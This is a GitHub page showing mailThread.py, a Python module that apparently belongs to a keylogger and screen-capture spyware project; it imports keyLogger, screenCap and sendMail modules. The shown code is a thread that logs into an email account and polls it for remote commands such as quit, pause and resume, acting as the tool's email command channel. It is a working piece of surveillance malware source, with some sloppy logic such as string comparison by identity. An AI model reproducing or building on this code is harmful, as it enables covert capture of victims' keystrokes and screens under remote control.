-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmailThread.py
More file actions
64 lines (59 loc) · 1.44 KB
/
Copy pathmailThread.py
File metadata and controls
64 lines (59 loc) · 1.44 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import keyLogger
import screenCap
import threading
import sendMail
from getMail import Mail
import time
import datetime
import zip
import os
from queue import Queue
print_lock = threading.Lock()
class receiveThread(threading.Thread):
email = ""
password = ""
paused = False
def __init__(self, inQueue, outQueue, args=(), kwargs=None):
global email
global password
global paused
paused = False
threading.Thread.__init__(self, args=(), kwargs=None)
self.inQueue = inQueue
self.outQueue = outQueue
self.daemon = False
self.receive_messages = args[0]
email = args[1]
password = args[2]
def isPaused(self):
global paused
return paused
def run(self):
print(threading.currentThread().getName() + " beginning to listen for messages")
global outputDir
global email
global password
val = ""
rec = Mail(email, password)
while True:
global paused
val = ""
if not self.inQueue.empty():
val = self.inQueue.get()
if val is "quit":
print(threading.currentThread().getName() + " quitting")
rec.exit()
return True
elif val is "pause":
print(threading.currentThread().getName() + " paused")
paused = True
elif val is "resume":
print(threading.currentThread().getName() + " resumed")
paused = False
if not paused:
now = datetime.datetime.now()
time.sleep(3)
action = rec.run()
if action != "" and action is not None:
print(action)
self.outQueue.put(action)